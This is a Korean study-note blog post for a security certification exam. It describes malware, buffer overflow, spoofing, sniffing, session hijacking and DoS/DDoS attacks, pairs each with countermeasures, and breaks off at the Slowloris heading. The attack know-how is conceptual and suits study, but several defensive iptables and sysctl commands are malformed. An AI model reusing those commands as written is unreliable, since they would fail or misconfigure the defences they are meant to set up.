■ 보안 취약점 공격과 대응 방안
► 이번 포스트는 정보보호 취약점 공격과 대응 방안에 대한 내용입니다.
► 정보보안기사 공부하면서 이것 저곳에서 취합한 자료로 저작권의 문제가 된다면 댓글 남겨 주시기 바랍니다.
► 주요 출처 및 참조는 KISA와 기출사이트( https://q.fran.kr )입니다.
1. 악성코드
▣ 바이러스
► 개요
• 자기 자신 또는 자신의 변형을 복사하여 컴퓨터 작동에 피해를 주는 명령어의 집합. 기생형. (독립실행:X/복제:O)
대응 방안
• 백신을 설치하여 1일 1회 이상 업데이트 한다
▣ 웜
► 개요
• 자기 자신을 복제하여 네트워크를 통해 스스로 확산. OS 취약점을 이용하거나 DoS 공격. (독립실행:O/복제:O)
► 대응 방안
• 백신을 설치하여 1일 1회 이상 업데이트 한다
▣ 트로이안
► 개요
• 사용자 정보를 유출, 파괴하거나 DoS 공격, 원격 조정, 키로거(Keylogger)에 이용 (독립실행:O/복제:X)
- 건전한 프로그램인것처럼 포장
► 대응 방안
• 백신을 설치하여 1일 1회 이상 업데이트 한다
2. 버퍼 오버플로우
▣ 프로세스 메모리 구조
• Text 영역 : 프로그램 코드와 상수가 정의. 읽기만 가능한 메모리 영역이다.
• Data 영역 : 전역 변수와 정적 변수가 저장되어 있는 영역
• Heap 영역 : 프로그래머의 필요에 따라 동적 메모리 호출에 의해 할당되는 영역
• Stack 영역 : 함수 인자 값, 함수 내의 지역 변수, 함수의 반환 주소 등이 저장되는 영역
▣ 힙 버퍼 오버플로우
► 개요
• 힙에 할당된 공간이 함수에 대한 포인터를 포함하고 있는 경우, 공격자가 이 주소를 변경하여 겹쳐 쓴 버퍼에 있는 셸 코드를 가리키도록 하는 공격 기법
► 대응 방안
• ASLR(Address Space Layout Randomization) : 메모리 공격을 방어하기 위해 주소 공간 배치를 난수화한다
- 프로그램 실행 시마다 메모리 주소를 변경시켜 악성코드에 의한 특정주소 호출을 방지
▣ 스택 버퍼 오버플로우
► 개요
• 보통 SetUID가 설정된 root 권한의 프로그램을 공격 대상으로 하고, 스택에 정해진 버퍼보다 큰 공격 코드를 삽입하여 반환주소를 변경함으로써 임의의 공격 코드를 root 권한으로 실행하도록 하는 공격 기법
► 대응 방안
• 스택가드 : 메모리상에서 프로그램의 복귀주소와 변수 사이에 특정 값을 저장해 두었다가 그 값이 변경되었을 경우 오버플로우로 가정하여 프로그램 실행을 중단하는 것 (특정 값(Canary Word)의 변조가 발생하므로 이를 탐지하여 차단함)
• 스택쉴드 : 함수시작 시 리턴 주소를 Global RET라는 특수 스택에 저장해두었다가 함수 종료시 저장된 값과 스 택의 RET값을 비교해 다를 경우 프로그램을 종료
3. TCP 공격
▣ TCP 세션 하이재킹 공격
► 개요
• TCP의 세션 관리 취약점을 이용한 공격, TCP의 세션 식별정보를 공격자가 위조하여 세션을 탈취하는 방식으로 공격자는 정상적인 사용자의 출발지 IP와 Port로 위조하고 SN을 예측하여 탈취하게 된다.
• TCP 신뢰성 기반으로 한 연결을 이용한 공격방법으로 통신내용을 엿볼 수도 있고, 세션을 가로채어 정상적인 인증과정을 무시하고 불법으로 시스템에 접근할 수 있다.
• 공격 툴 : hunt
• 공격과정
- 서버-클라이언트의 통신 사이의 seq num을 탈취하기 위해 sniffing
- 적절한 시기에 완전하게 접속이 끊기지 않도록 적절한 seq num을 가진 RST 패킷을 서버에 보내 서버를 잠시 Closed 상태로 만듬
- 이 상태에서 탈취했던 seq num를 이용해 서버에 재연결 시도
: 이 과정에서 클라이언트가 서버에 정상적인 메시지를 보내게 되면 seq num가 맞지 않아
서로의 교정을 위해 서버와 클라이언트가 ACK을 지속적으로 보냄(Ack Storm)
- 원래 클라이언트의 세션을 얻어 서버와 통신
► 대응 방안
• 패킷 유실과 재전송의 증가를 탐지
• Ack Storm 탐지
▣ GARP(Gratuitous ARP)
► 개요
• Source와 Destination IP가 동일한 ARP 요청
• 다른 장비에게 자신의 존재를 알리는 목적으로 사용(ARP Cache 갱신 유도)
► 목적
• IP 충돌 감지 : GARP에 들어있는 IP 주소가 자신과 동일한 IP라면 충돌을 감지 할 수 있음
-> 호스트 IP 변경 시, 재부팅 시 GARP 패킷 생성
• 상대방의 ARP Cache 정보 갱신 : GARP 수신 시 자신의 ARP Cache 수정
-> 악의적 목적으로 MAC 정보 위/변조될 수 있음
4. 스니핑(Sniffing)
▣ ICMP Redirect(Spoofing)
► 개요
• 경로 재설정을 위한 ICMP Redirect를 이용해 자신의 주소로 위장한 ICMP Redirect 메시지를 보내 라우팅 테이블을 변조하는 기법
• netstat -nr로 라우팅 테이블을 확인하면 변경 되어 있음
[예제보기]
C:\netstat -rn
Routing Table
==============================
Destination Netmask gateway ~
0.0.0.0 0.0.0.0 192.168.8.2 ~
127.0.0.1 255.0.0.0 127.0.0.1 ~
172.16.18.13 255.255.255.255 192.168.8.129 ~
192.168.8.0 255.255.255.0 192.168.8.11 ~
default gateway : 192.168.8.2
* local host address : 192.168.8.11
► 대응 방안
• ARP Cache Table을 정적으로 운영 (arp -s <IP주소 <MAC주소>)
• ICMP Redirect 메시지가 routing table을 변경하지 못하게 ICMP Redirect 옵션 해제
#Linux : sysctl -w net.ipv4.conf.all.accept_redirect=0으로 설정
• 데이터 암호화 : SSL(전자상거래) / PGP, S/MIMEA메일) / SSH(원격 접속) / VPN / IPSec
▣ Switch Jamming(MAC 플러딩(Flooding))
► 개요
• 스위치의 MAC Address Table을 버퍼 오버플로우시켜 스위치가 허브처럼 동작하게 만드는 기법
► 대응 방안
- ARP Cache Table을 정적으로 운영 (arp -s <IP주소 <MAC주소>)
- 데이터 암호화 : SSL(전자상거래) / PGP, S/MIMEA메일) / SSH(원격 접속) / VPN / IPSec
▣ ARP Redirect(Broadcast)
► 개요
• 공격자가 자신의 MAC주소를 라우터(게이트웨이)인 것처럼 위조하여 패킷을 지속적으로 브로드캐스트 전송하여 로컬 네트워크의 모든 호스트의 라우터 MAC 주소를 공격자의 MAC주소로 변경하는 공격 기법
- Step 1) 스니핑이 선행되어야 하며 랜카드는 Promiscuous 모드로 동작해야 함
- Step 2) ARP Request Broadcast로 네트워크 상의 모든 IP와 MAC주소를 알아냄
- Step 3) 공격자가 자신의 MAC주소를 게이트웨이(HUB/Switch)의 MAC주소로 속여서, 네트워크 상의 호스트들의 ARP Cahce를 업데이트시킴
- Step 4) 희생자는 원래 다른 호스트에 전송해야 할 메시지를 공격자에게 전송하게 된다.
[예제보기]
c:\arp -a
Interface Address Physical Address Type
10.10.24.1 aa-aa-aa-aa-aa-aa dynamic
10.10.24.4 aa-aa-aa-aa-aa-aa dynamic
10.10.24.5 bb-bb-bb-bb-bb-bb dynamic
10.10.24.2 cc-cc-cc-cc-cc-cc dynamic
► 대응 방안
- ARP Cache Table을 정적으로 운영 (arp -s <IP주소 <MAC주소>)
5. Sniffing & Spoofing
▣ ARP Spoofing (ARP Cache Poisoning)(Unicast)
► 개요
• 특정 호스트의 MAC주소를 자신의 MAC 주소로 위조한 ARP Reply 패킷을 만들어 지속적으로 보내 희생자의 ARP Cache Table의 MAC 주소를 공격자의 MAC주소로 변경하는 공격 기법
• 희생자는 원래 다른 호스트에 전송해야 할 메시지를 공격자에게 전송하게 된다.
• 호스트 대 호스트 공격 방식이다.
► 대응 방안
• ARP Table을 정적으로 고정(arp -s <IP> <MAC>, 시스템 가동 시마다 설정해야함)
• Ingress Filtering : 외부에서 오는 패킷이, 내부인척 하는 걸 필터링(Router)
• Egress Filtering : 내부에서 나가는 패킷이, 내부의 주소가 아니면 필터링(Router)
• ARP Storm 확인 : 다량의 ARP Reply가 지속적으로 발생하는지 확인
• ARP Watch 등 ARP 패킷 실시간 모니터링 프로그램을 이용해 감시
6. 스푸핑(Spoofing)
▣ IP 스푸핑
► 개요
• 트러스트 관계가 맺어져 있는 서버와 클라이언트를 확인한 후 클라이언트에 DoS 공격을 하여 연결을 끊는다. 그리고 나서 공격자가 클라이언트의 IP주소를 확보하여 서버에 실제 클라이언트처럼 패스워드 없이 접근하는 공격이다.
► 대응 방안
• 트러스트 관계를 쓰지 않는 것이 최상의 대책이다. 트러스트 관계는 신뢰관계에 있는 시스템간에 별도의 로그인 없이 IP기반의 인증을 수행하고 접속하는 방식(예:rlogin)을 말한다.
• 외부에서 들어오는 패킷 중에서 출발지 IP주소(Source IP Address)에 내부망 IP 주소를 가지고 있는 패킷을 라우터 등에서 패킷 필터링을 사용하여 막아낼 수 있다.(Ingress Filtering)
• 내부 사용자에 의한 공격은 막을 수 없으므로 각 시스템에서 TCP wrapper, ssh 등을 설치해서 운영
• rlogin 등과 같이 패스워드의 인증 과정이 없는 서비스를 사용하지 않는 것이 바람직하다. (.rhosts, hosts.equiv 사용 금지)
• Trust 설정
- /etc/hosts.equiv(시스템 전체), ~/.rhosts(사용자 별) 파일 수정
- 형식 : hostname username
-> ex) + raonyn : 모든 호스트에 raonyn 사용자 접근 가능
-> ex) 127.0.0.1 -raonyn : 127.0.0.1 호스트에 raonyn 사용자 접근 차단
7. DoS(Denial of Service)
▣ Ping of Death
► 개요
• Ping of Death는 ping을 이용하여 ICMP 패킷을 정상크기(65,535 bytes)보다 아주 크게 만드는 것이다. 크게 만들어진 패킷은 네트워크를 통해 라우팅되어 공격 네트워크에 도달하는 동안 아주 작은(fragment)으로 쪼개진다.
공격 대상은 조각화된 패킷을 모두 처리해야 하므로 정상적인 ping 처리보다 부하가 많이 걸리게 된다.
► 대응 방안
• 운영체제별 패치를 하는 것이 가장 일반적인 방법이다.
• 보통의 ICMP 패킷은 분할하지 않으므로 패킷 중 분할이 일어난 패킷을 공격으로 의심하여 탐지하는 방식을 사용한다.
• ICMP Ping에 대해 응답을 하지 않도록 설정한다.
Linux]# sysctl -w net.ipv4.icmp_echo_ignore_all=1
• 일정 수 이상 반복적으로 들어오는 ICMP 패킷을 차단
#iptables를 동일한 ICMP 패킷이 다량으로 발생하면 해당 패킷을 차단(Drop)
▣ Teardrop
► 개요
• 헤더가 조작되어 일련의 IP패킷조각들을 전송함으로써 공격이 이루어진다. 공격자가 패킷을 프레그먼트 할 때 정상적으로 하지 않고 데이터 일부가 겹치게 일부 데이터를 포함하지 않고 다음 패킷으로 프레그 먼트하여 전송하면 수신자는 패킷 재조합을 수행할 때 부하가 발생하게 된다.
► 대응 방안
• Teardrop은 침입탐지시스템, 방화벽을 우회할 수 있고 Boink 등과 같은 다양한 변종을 가지는 공격방법으로 완전한 차단은 힘들다.
운영체제가 취약점을 갖지 않도록 패치하는 것이 가장 좋은 방법이다.
▣ Land Attack
► 개요(기사 실기15회 - 단답)
• 목적지, 출발지 IP와 Port가 모두 동일하게 보내는 공격
• 시스템 자원을 고갈시켜 서비스 장애를 유발 시킴(동시 사용자 수를 증가, CPU에 부하 발생)
► 대응 방안
• 라우터나 패킷 필터링 도구를 이용하여 자신의 시스템 주소와 동일한 소스 주소를 가진 외부 패킷을 필터링한다.(Ingress Filtering)
• 침입차단시스템에서 소스 IP/PORT와 목적지 IP/PORT가 동일하면 차단하도록 설정한다.
▣ HTTP Continuation (IP Fragment Packet Flooding)
► 개요
• 서버로 전달하는 패킷에 HTTP Header없이 Data만 채워 웹서버가 지속적으로 데이터 수신을 위해 TCP 자원을 사용하도록 하는 공격
• 패킷 크기를 최대한 크게 하여 보내기 때문에 네트워크 자원도 같이 고갈될 수 있는 공격 형태임
► 대응 방안
• HTTP Continuation Data 패킷은 Request Header없이 Data만 보내는 형태로 해당 패킷에 대해 분석하지 않고 해당 패킷을 무시하도록 하여 공격패킷을 차단
• 이러한 방법을 적용하기 위해서는 웹서버 앞단에 캐싱장비가 필요한데, 이는 웹서버가 직접 트래픽을 수신하는 경우 웹서버의 트래픽 수신버퍼가 모두 차게 되어 다른 연결을 원활이 제공할 수 없기 때문에 충분한 연결을 유지할 수 있는 캐싱장비를 통해 효과적으로 대응 가능
• 또한, 이 공격의 가장 큰 특징은 연결 자원고갈과 함께 대역폭을 소진 한다는 것이므로 대역폭 소진에 대한 대안도 고려해야 함
▣ Bonk
► 개요
• 패킷을 플래그먼트하여 전송할 떄 패킷을 조작하여 공격대상자의 시스템에 부하를 주는 공격이다.
• 처음 패킷을 1번으로 보낸후 다음 패킷을 보낼 떄 순서번호를 모두 1번으로 조작하여 전송하는 DoS 공격이다.
► 대응 방안
이 공격들은 최근에 나온 시스템을 파괴할 수 있는 경우는 거의 없고 이러한 공격에 대한 대응책은 SYN Flooding이나 Ping of Death 공격에 대한 대응책과 같다.
▣ Boink
► 개요
• Bonk를 수정한 DoS 공격도구로, 처음 패킷을 1번으로 보낸 후 다음 패킷을 100번, 다음 패킷을 200번 등 정상적으로 보내다가 20번째 패킷을 2002, 21번째 패킷을 100, 22번째 패킷을 2002등으로 중간에 패킷 시퀀스 번호를 비정상적인 상태로 보내는 공격기술이다.
► 대응 방안
이 공격들은 최근에 나온 시스템을 파괴할 수 있는 경우는 거의 없고 이러한 공격에 대한 대응책은 SYN Flooding이나 Ping of Death 공격에 대한 대응책과 같다.
▣ 해시도스(HashDoS)
► 개요
• 웹서버는 HTTP 메시지의 매개정보 관리를 위해 해시 테이블 사용
• 조작된 매개정보를 전송해 해시값 충돌을 발생시켜 CPU 자원 소모를 통한 서비스 방해
► 대응 방안
• HashDos는 웹서버의 설정값 변경만으로도 차단이 가능
- Tomcat, PHP, Ruby 등 최신 버전에서는 HTTP Post Parameter 개수에 제한을 둘 수 있는 기능을 추가하였으므로 개수 제한 적용을 위해 최신버전으로 업데이트
• 톰캣(Tomcat)에서의 HashDoS 차단 방안
- (방안 1 : 파라미터 개수 제한) TOMCAT_HOME/conf/server.xml의 Connector 부분을 다음과 같이 설정
<Connector port="8009" protocol="AJP/1.3" maxParameterCount="xxx" …./>
※ 적용가능버전: Tomcat 5.5.35, 6.0.35, 7.0.23
- (방안 2 : POST 메시지 크기 제한) 사이즈를 제한하는 것이 서비스에 문제가 없는 경우 적용하며, TOMCAT_HOME/conf/server.xml의 Connector 부분을 다음과 같이 설정
<Connector port="8009" protocol="AJP/1.3" maxPostSize="xxx" …./>
• PHP에서의 HashDoS 차단 방안
- PHP 5.4.0 RC4로 업데이트 한 후, php.ini 파일에서 ‘max_input_var'에서 최대 HTTP POST Parameter 개수를 설정
- PHP 5.4.0 RC4 이하인 경우, PHP Source에서 소스변경부분을 수동으로 설정하고 http://svn.php.net/viewvc?view=revision&revision=321003에서 수정된 소스를 다운받아 재빌드하여 적용
※ 대상 : PHP_5_4/main/main.c, PHP_5_4/main/php_globas.h, PHP_5_4/main/php_variables.c
▣ 헐크도스(HulkDoS)
► 개요
• HULK(Http Unbearable Load King) DoS는 웹 서버의 가용량을 모두 사용하도록 하여 정상적인 서비스가 불가능하도록 유도하는 GET Flooding 공격
• 일반적인 도메인 HOST 뒤에 “/?”를 붙인 이후 임의의 문자를 변경하여 요청하면 파라미터 유효검사를 하게 되는데 파라미터가 유효하지 않더라도 “/” URL로 동작하여 클라이언트에게
200 ok 응답을 하게 됨
► 대응 방안
• 접속 임계치 설정을 통한 차단
- 특정한 발신지 IP에서 연결할 수 있는 동시 접속수(Concurrent Connection)에 대한 최대값을 설정하여 한 개의 IP에서 대량의 연결을 시도하는 공격을 차단
- 유닉스/리눅스 계열의 운영체제를 운영한다면 운영체제의 방화벽 설정 도구인 iptables 명령어를 이용하여 차단이 가능하며 예제는 아래와 같음
- iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j DROP
(30개 이상의 concurrent connection에 대한 차단)
• HTTP Request의 HOST 필드값에 대한 임계치 설정을 통한 차단
- HULK DoS는 URL을 지속적으로 변경하기 때문에 URL이 아닌 HTTP Request에 포함된 HOST 필드값을 카운트하여 임계치 이상인 경우 차단하도록 설정
< HTTP Request의 HOST 필드 정보 >
• 302-Redirect를 이용한 차단
- 대부분의 DDoS 공격 tool은 302-Redirect 요청에 대해 반응하지 않는 것이 특징이므로 여러 웹사이트 URL 중에 공격당하기 쉬운 웹사이트(예: “/”)에 대한 Redirect 처리를 통해,
- 자동화된 DDoS 공격 tool을 이용한 공격을 사전에 차단하여 웹서버의 부하를 감소시킬 수 있음
▣ SIP(Session Initiation Protocol) Flooding
► 개요
• 하나의 INVITE request 메시지가 상당한 양의 자원을 소모한다는 것을 이용
• 공격자가 수 많은 INVTE request를 가짜 시작주소 또는 봇넷을 이용한 DDoS를 통해서 보냄
• SIP Proxy 서버에 부하 발생
▣ 스머프(smurf) Attack (ICMP Flood)
► 개요(기사 실기15회 - 단답)
• ICMP 증폭 공격으로 ICMP Echo Request 메시지의 송신자 주소를 희생자의 주소로 스푸핑한 후 이를 증폭 네트워크에 directed broadcast하여 다수의 ICMP Echo Reply(ping 응답)을 발생시켜 희생자에게 대량의 트래픽을 발생시키는 DoS 공격
• 출발지 IP를 희생자 IP로 위조한 후 증폭 네트워크 ICMP Echo Request를 브로트캐스트 함으로써 다수의 ICMP Echo Reply가 희생자에게 전달되어 서비스 거부를 유발시키는 공격
► 대응 방안
• 증폭 네트워크로 사용되는 것을 막기 위해 다른 네트워크로부터 자신의 네트워크로 들어오는 Directed Broadcast 패킷을 허용하지 않도록 라우터 설정을 한다.
: (config-if) no ip directed-broadcast
• 브로드캐스트 주소로 전송된 ICMP Echo Request 메시지에 대해 응답하지 않도록 시스템 설정을 한다.
: UNIX(Solaris) ]# ndd -set /dev/ip ip_forward_directed_broadcasts 0
: Linux ]# sysctl -w net.ipv4.icmp_echo_ignore_all = 1
• 침입차단시스템(IPS)에서 동일한 ICMP Echo Reply 패킷이 다량으로 발생하면 해당 패킷을 차단(Drop)
• 호스트에서 방화벽 솔루션(iptables) 차단
: iptables -A INPUT -p icmp -m icmp --icmp-type address-mask-request -j DROP
: iptables -A INPUT -p icmp -m icmp --icmp-type timestamp-request -j DROP
: iptables -A INPUT -p icmp -m icmp -j DROP
▣ HTTP Syn Flooding(TCP Syn Flooding)
► 개요(기사 실기15회 - 단답)
• TCP의 3-way handshake 약점을 이용하는 공격으로 소스 IP를 존재하지 않는 IP주소로 위조하여 대량의 SYN Packet을 발송하여 해당 시스템의 백로그 큐를 가득 채워 서비스 거부를 하도록 하는 공격
► 동작방식
• 다량의 위조된 half-open TCP 연결을 시도하여 상대 호스트의 백로그 큐를 가득 채우는 기법으로, TCP 3way-handshaking 연결 방식의 구조적 문제점을 이용한 공격
• 정상적인 TCP 연결이라면 클라이언트로부터 SYN+ACK에 대한 ACK 응답을 받아 연결설정이 완료되지만 TCP SYN Flooding 공격의 경우 공격자가 출발지 IP를 위조하여 다수의 요청을 발생시키고 위조된 출발지 주소이기 때문에 SYN+ACK 에 대한 정상 ACK 응답이 대부분 발생하지 않는다.
• TCP 연결 설정 과정의 구조적 취약점을 이용한 공격으로 3way handshake 과정에서 Half-Open 연결 시도가가능하다는 점을 이용하여 Half-Open 상태의 연결을 과도하게 발생시켜 목표 시스템이 외부로부터 연결 요청을 더 이상 수용할 수 없게 되어 서비스 불가 상태가 발생한다.
► 도식화
► 예상결과
• 공격당한 서버쪽에서 netstat –an 명령어를 쳐보면 State에 SYN_RECV 중 존재하지 않는 IP들이 수많이 보인다.
(3way handshaking의 취약점을 이용, syn 패킷만 발송하고 마지막 ack 패킷을 발송하지 않아 연결이 완료되지 않음)
• 공격을 당한 서버는 리소스 부족으로 더 이상 정상적인 서비스 요청을 받아들일 수 없는 상태가 된다.
[예제보기]
(Telnet 서버의 주소는 192.168.8.10 이며, netstat -an 명령을 수행한 결과이다.)
tcp 0 0 192.168.8.10:23 95.55.53.229:12096 SYN_RECV
tcp 0 0 192.168.8.10:23 149.163.227.33:7518 SYN_RECV
tcp 0 0 192.168.8.10:23 157.106.106.113:2458 SYN_RECV
► 대응 방안
• 보안 패치, IDS/IPS 설치, 접속 타임아웃 시간 단축 등 동일 Client(IP)의 연결(SYN) 요청에 대한 임계치(ThresHold) 설정을 통해 과도한 연결 요청이 발생하는 것을 차단한다.
• TCP 연결 테이블 엔트리 선택적 삭제 : 연결 테이블이 오버플로우가 될 때 일부 엔트리를 삭제함으로써 새로운 SYN 패킷을 처리할 수 있게 함
• Connect Queue Size를 증가 시킴(일시적인 대처법 : Backlog Queue)
: ndd -set /dev/tcp tcp_conn_req_max_q0 1024
: sysctl -w net.ipv4.tcp_max_syn_backlog = 1024 (기존 설정 값은 sysctl -a | grep "pattern")
• Router단에서 서브넷 외의 주소를 가지는 소스IP를 가지는 패킷 차단
<Router>
conf t
access-list 100 permit tcp any any eq 80
ip tcp intercept mode intercept
ip tcp intercept list 100
ip tcp intercept connection-timeout 30 //라우터에서 30초 기다린 후 ACK가 오지 않으면 삭제
• SYN Cookies기능 활성화(syn-cookies : 3-way handshaking이 완료되지 않으면 Backlog Queue를 소모하지 않는다)
: 리눅스 sysctl -w net.ipv4.tcp_syncookies = 1
: Windows의 경우 레지스트리를 변조
• host 방화벽 차단
#동일한 출발지에서 초당 10개 초과 차단
iptables -A INPUT -p TCP 80 --syn -m limit 10/s -j ACCEPT
iptables -A INPUT -p TCP 80 --syn -j DROP
#동일한 출발지에서 동시에 5개 이상의 SYN 패킷이 들어오면 DROP
iptables -A INPUT -p TCP --dport 80 --syn -m connlimit --connlimit --conlimit-above 5 -j DROP
8. DDoS(Distributed Denial of Service)
▣ DDoS 정의
► 개요
• 서비스에 대한 정당한 접근을 방해하거나 차단하고자 네트워크에 분산되어 있는 많은 에이전트를 이용하여 공격대상 서버에 동시에 과도한 서비스 요청을 발생 시키는 공격
- 여러 대의 컴퓨터(좀비 PC)를 일제히 동작하게 하여 특정 사이트를 공격하게 하여 엄청난 분량의 패킷을 동시에 범람시켜 N/W 성능 저하나 시스템 마비를 가져오게 하는 해킹기법
• 구성요소
- 공격자(Attacker) : DDoS 공격을 주도하는 공격자의 컴퓨터
- 마스터(Master) : 여러 대의 DoS 에이전트의 연결을 관리하는 시스템
- 공격자에게 직접 명령을 받아 에이전트에게 명령 전달 실행
- 에이전트(Agent - 좀비(Zombie)) : 일반 사용자의 컴퓨터에 은닉하며 마스터에 연결하여 관리되는 악성 코드
- 마스터의 명령에 따라 공격대상(Victim)에 직접적으로 공격하는 시스템공격대상(Victim) : 에이전트로부터 공격을 받는 대상
► 도식화
► 대응 방안
• 라우터에서 1차 대응 방안
- 라우터에서의 공격주소에 의한 차단 : 공격지 IP ACL
- 라우터의 ingress, egress 필터링 기능 : ingress는 외부 인터넷으로부터 들어오는 packet을 의미하며, egress는 내부 네트워크에서 외부로 나가는 패킷을 말 한다.
- Unicast RPF를 이용한 차단 : 시스코 라우터에서 제공하는 Unicast Reverse Path Forwarding기능은 Source IP주소가 spoofing된 DoS공격을 하는 것을 막아주는데 사용될 수 있다.
- 라우터의 Committed Access Rate(CAR) 기능 : 단위시간 동안 일정량 이상의 패킷이 라우터로 들어올 경우, 일정량 이상의 패킷은 통과시키지 않도록 하는 기능을 CAR 기능이라 한다.
▣ DDoS 대응절차
► 개요
• 1단계: 공격의 인지
① 유입 트래픽크기: 방화벽 IDS등의 네트워크 장비를 통해 웹서버로 유입되는 트래픽의 BBS(Bit Per Second), PPS(Packet Per Second)규모를 확인
② 웹 서버 로그: 웹서버 로그를 확인해 비 정상적인 접속유무 확인
③ 동시접속 정보: 웹 서버와 클라이언트가 유지하고 있는 연결 규모 확인
④ 유입 트래픽 샘플링: 웹서버 운영망으로 유입되는 실제 트래픽을 샘플링
• 2단계: DDos 공격 유형 파악
① 패킷 덤프를 이용한 유입 트래픽 확보: 트래픽 캡처 툴을 이용하여 분석하고자 하는 기간의 유입 트래픽을 PCAP형태로 저장
② 확보된 트래픽 분석: 프로토콜 정보, HTTP 헤더 정보, 연결 정보 등을 확인
③ 시나리오 기반의 공격유형 파악: 대역폭 소진 공격, DB 부하 유발공격, 웹서버 자원 공격 등 공격 유형 파악
④ 웹서버 접속 로그: 서버 접속 로그를 확인하여 요청 페이지, 요청 횟수 확인
► 대응 방안
• 3단계: 공격 유형에 따른 차단정책 정의 및 대응
1) 대역폭 소진 공격 대응 방안(1)
- 공격 유형: UDP Flooding, ICMP Flooding
- 대응 방안: 방화벽이나 웹서버 상단에 위치한 라우터에서 ACL 정책 적용(공격주소, Egress 필터링)
2) 대역폭 소진 공격 대응 방안(2)
- 공격 유형: TCP Flooding
- 대응 방안: Source IP별로 PPS 임계치 설정
3) 웹서버 자원 소모 공격 대응 방안
- 공격 유형: Syn(Ack/Fin) Flooding
- 대응 방안: Source IP별로 PPS 임계치 설정, 패킷 헤더 검사를 통한 비 정상적인 필드 파악
4) DB Connection 부하 유발 공격 대응 방안(웹서버의 OS의 TCP 스택 자원을 소모)
- 공격 유형: Get Flooding, Post Flooding
- 대응 방안: 클라이언트 요청 수에 대한 임계치 설정, HTTP 헤더를 확인
5) 웹서버 자원 소모 공격 대응 방안(완료되지 않은 연결 상태를 지속적으로 유지)
- 공격 유형: Slow Header Flooding, Slow Data Flooding
- 대응 방안: 하나의 요청에 대한 연결 타임아웃을 설정
6) 라우터 단에서의 대응 방안
- Black Hole/Sink Hole Routing/Null Routing
: 정교한 방어가 불가능하므로 TCP 공격에는 매우 취약함
: 차단하고자 하는 Destination IP 를 Null Interface 로 포워딩 시켜서 패킷을 Drop 시킴
: 모든 공격목표로 향하는 트래픽이 Null Routing이 되 므로 서비스 불가
• 4단계: 공격 대응 후, 사후조치
- 정책 업데이트, 좀비 PC IP 확보 등
▣ HTTP GET Flooding
► 개요
• 서버에게 동일한 URL(기본 페이지 등)을 반복적으로 요청
► 대응 방안
• 타임아웃에 기반한 임계치 설정을 통해 방어
: 호스트의 iptables 차단 => iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 5 -j DROP (동일IP 동시 연결갯수 5개 이상 차단)
: httpd.conf에 TIMEOUT=120(Default)인데 5정도로 작게 설정(너무 작게 하면 정상 서비스 오류)
▣ HTTP GET Flooding with Cache-Control(CC Attack)
► 개요
• 웹서버의 부하를 감소시키기 위해 캐싱 서버를 운영하여 많이 요청 받는 데이터는 웹서버가 아닌 캐싱 서버를 통해 응답하도록 구축하는 경우 공격자는 HTTP 캐시옵션(Cache-Control)을 조작하여 캐싱서버가 아닌 웹서버가 직접 처리하도록 유도하여 웹서버의 자원을 소진시키는 서비스 거부 공격
• 트래픽을 살펴보면 HTTP헤더의 Cache-Control 값이 no-store, must-revalidate로 설정되어 있다.
• Referer : 링크를 통해 페이지에 접근할 경우 해당 링크를 가지고 있는 페이지의 url을 의미한다. A라는 페이지에서 링크를
클릭해서 B라는 페이지에 접근하게 되면 A라는 페이지가 Referer가 된다.
• no-store(캐시저장금지) : 클라이언트로부터 요청받은 데이터를 디스크나 메모리, 별도의 시스템(캐싱서버)에 저장 금지
• must-revalidate(캐시검증) : 웹서버와 별도로 캐싱서버를 운영하는 경우 웹서버는 캐싱서버에 저장된 캐시 데이터에 대한 검증 요구
► 대응 방안
• Cache-Control : no-cache :
웹서버 요청시 Cache-Control 헤더에 no-cache 지시자를 지정하면 캐시서버의 캐시된 entry가 fresh한 상태라 하더라도 원본서버로부터 무조건 다시 읽어서 응답하라는 의미이다. max-age=0의 경우는 동일한 유무에 대해서만 매번 체크하지만 no-cache의 경우에는 무조건 원본서버에서 읽어 응답한다는 차이점 있다.
• 방안 1 : 방화벽에 캐싱공격 문자열을 포함한 IP 차단
- HTTP Request 메시지를 분석(Parsing) 하여 캐싱 공격에 해당하는 문자열(no-Store, must-revalidate)을 포함하는 경우, 문자열을 포함한 IP 정보를 수집하여 방화벽에 등록하여 공격트래픽을 차단
• 방안 2 : L7 스위치를 이용한 캐싱 공격 차단
- L7 스위치를 이용하면 좀 더 세분화된 차단정책을 적용할 수 있는데, 다음과 같이 HTTP Header의 Cache-Control에 특정 문자열(no-Store, must-revalidate)을 포함하는 경우 해당 IP의 접속을 차단하는 방법을 이용
▣ Slow HTTP POST DoS(RUDY)(기사 15회 실무)
► 개요
• HTTP POST 메소드를 이용하여 서버로 전달할 대량의 데이터를 장시간에 걸처 분할 전송, 서버는 POST 데이터를 모두 수신하지 않았다고 판단하여 연결을 장시간 유지함으로써 가용량을 소비하게 되어 다른 클라이언트의 정상적인 서비스를 방해하는 서비스 거부 공격
• Content-Length: 1000000 byte로 설정하여 1byte씩 전송
► 대응 방안
• 동시 접속 임계치 설정을 통한 차단
: 호스트의 iptables 차단 => iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 5 -j DROP (동일IP 동시 연결갯수 5개 이상 차단)
• 연결 타임아웃에 기반한 임계치 설정을 통해 방어
: httpd.conf에 TIMEOUT=120(Default)인데 5정도로 작게 설정(너무 작게 하면 정상 서비스 오류). keepalive 기능을 사용하는 경우에는 Keepalivetimeout을 사용하여 세션 공격을 차단
• RequestReadTimeout(mod_reqtimeout Module) 설정을 통한 차단(읽기 타임 아웃 설정)
- Apache 2.2.15 버전과 그 이후 버전에서는 클라이언트 요청에 대한 더욱 세부적인 제한을 줄 수 있는 RequestReadTimeout이라는 지시자를 제공
- 이 지시자는 클라이언트의 요청(header and body)이 지정된 시간 내에 완료되지 않을 경우 오류 코드를 클라이언트에게 전송하여 Slow Attack을 차단
[예제]
RequestReadTimeout header=5 body=8
# header=5
# HTTP Header Request가 5초 이내에 완료되지 않으면, FIN 패킷을 보내 연결을 해제하며, 이 때 Apache Server는 408 Response Code로 응답 한다.
Timeout이 지난 후 Connection을 종료한다.
# body=8
# POST 요청 이후 8초 동안 데이터가 오지 않을 시 FIN을 보내 연결 해제를 요청하고 RST로 Connection을 종료한다. 일반적인 POST Request 시 Apache Server는 3-Way Handshake 이후 POST Request의 Content-Length 값만큼의 데이터가 수신될 때까지 Connection을 Open 상태로 수신을 기다린다.
▣ Slow HTTP Header DoS(Slowloris)
► 개요
